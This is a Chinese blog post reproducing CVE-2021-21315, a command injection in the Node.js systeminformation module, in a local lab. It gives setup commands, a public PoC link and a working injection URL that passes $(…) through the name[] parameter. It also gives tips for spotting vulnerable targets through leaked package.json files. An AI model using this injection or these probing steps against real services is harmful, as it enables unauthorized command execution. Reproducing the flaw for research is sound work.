nodejs-rce漏洞复现(CVE-2021-21315)

admin 2025-12-23 16:04:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文复现Node.js模块systeminformation的RCE漏洞CVE-2021-21315,影响5.3.1以下版本。通过构造恶意name参数触发命令注入。文章详述环境搭建与验证流程,指出利用需确认目标依赖及API接口。建议检查package.json泄露并构造参数探测漏洞,仅供安全研究。 综合评分: 86 文章分类: 漏洞分析,漏洞POC,WEB安全


cover_image

nodejs-rce漏洞复现(CVE-2021-21315)

T6 sec

T6 sec

2025年10月31日 15:37 广东

文中内容仅限学习交流,严禁用于商业及非法用途,涉及网络安全相关未经授权不得测试,违规使用后果自负,与作者及本号无关 。

在nodejs中 systeminformation是用于获取各种系统信息的Node.js模块

影响版本

Systeminformation < 5.3.1

下载受影响的Node.js,这里使用的是v12.18.4

| | | — | | wget https://nodejs.org/dist/v12.18.4/node-v12.18.4-linux-x64.tar.xz |

解压,并改名为nodejs,移动至/usr/local/sbin/

tar&nbsp;-xvf node-v12.18.4-linux-x64.tar.xzmv&nbsp;node-v12.18.4-linux-x64 nodejsmv&nbsp;nodejs/ /usr/local/sbin/

更改文件node和npm的软链接

ln&nbsp;-s&nbsp;/usr/local/sbin/nodejs/bin/node&nbsp;/usr/local/bin/ln&nbsp;-s&nbsp;/usr/local/sbin/nodejs/bin/npm&nbsp;/usr/local/bin/

运行node后是12.18.4版本

下载漏洞环境

| | | — | | https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC |

进入里面运行node index.js

直接访问

http://127.0.0.1:8000/api/getServices?name[]=$(echo%20%27test%27%20%3E%20test.txt)

就成功执行了

这个漏洞挖到得注意几个点,首先得确定使用了nodejs,然后得确定必须使用了systeminformation模块 ,这些信息正常是获取不到的,只能看看有没有泄露之类

package.json 是 Node.js 项目的核心配置文件,如果有泄露,可能从这个里面获取到信息

其次,这个api接口/api/getServices,他可能不一定长这样,必须得调用services()才行

测试直接敲个?name[]就行,如果有回显,大概率可能存在


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:T6 sec T6 sec《nodejs-rce漏洞复现(CVE-2021-21315)》

评论:0   参与:  2